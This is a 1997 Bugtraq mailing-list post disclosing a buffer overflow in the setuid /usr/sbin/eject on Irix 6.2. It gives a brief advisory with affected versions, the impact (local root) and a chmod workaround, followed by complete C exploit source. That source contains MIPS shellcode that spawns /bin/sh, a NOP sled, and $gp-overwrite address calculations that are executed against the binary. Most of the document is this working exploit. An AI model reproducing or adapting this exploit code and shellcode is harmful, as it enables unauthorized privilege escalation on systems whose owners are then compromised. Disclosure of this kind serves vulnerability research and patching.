Irix buffer overflow in /usr/sbin/eject

David Hedley (hedley@CS.BRIS.AC.UK)
Sun, 25 May 1997 17:32:50 +0100

Hi there again,

Following on from Yuri's email about buffer overflowing on Irix, I
include an exploit for /usr/sbin/eject. As mentioned previously, we
smash $gp instead of $ra and so the exploit is slightly different to the
last exploit for /bin/df...

Vulnerable: Irix 6.2 (possibly 6.1 and 6.0.1 also - I haven't tested them)

Not vulnerable: Irix 5.x - buffer overflow exists, but is virtually
unexploitable due to the stack position.
Irix 6.3 - appears to have been fixed.

Impact: local users can gain root privileges

Tested on: Power Challenge (R8000) Irix64 6.2

Temporary fix: chmod u-s /usr/sbin/eject

Regards,

David

p.s. Yuri's exploit for /usr/bsd/ordist works on our R8000 PChallenge
(Irix64 6.2)
p.p.s. Can the administrator of bugtraq (and best-of-security) please
include an 'Errors-to:' or similar field in outgoing mail so
bounces from the list don't come back to the original sender?

--
 David Hedley (hedley@cs.bris.ac.uk)
 finger hedley@cs.bris.ac.uk for PGP key
 Computer Graphics Group | University of Bristol | UK


-------------------- cut here -------------------------------


/* /usr/sbin/eject exploit by DCRH 25/5/97
 *
 * Tested on: R8000 Power Challenge (Irix64 6.2)
 *
 * Exploit doesn't work on Irix 5.x due to stack position
 * Irix 6.3 does not appear to be vulnerable
 *
 * compile as: cc -n32 eject.c
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>


#define NUM_ADDRESSES   80
#define BUF_LENGTH      400
#define EXTRA           200
#define OFFSET          -0x128
#define GP_OFFSET       32412
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */


#define u_long unsigned




u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};


u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};


char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];


void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;


    stack = get_sp();


    if (stack & 0x80000000) {
        printf("Recompile with the '-n32' option\n");
        exit(1);
    }


    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;


    if (argc > 1)
      targ_addr += atoi(argv[1]) * 4;


    if (targ_addr + GP_OFFSET > 0x80000000) {
        printf("Sorry - this exploit for Irix 6.x only\n");
        exit(1);
    }


    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
      targ_addr += 4;


    for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
        *long_p++ = targ_addr + NUM_ADDRESSES/2;


    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;


    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];


    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = targ_addr + GP_OFFSET;


    *long_p = 0;


    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);


    execle("/usr/sbin/eject", "eject", buf, 0, env);
    perror("execl failed");
}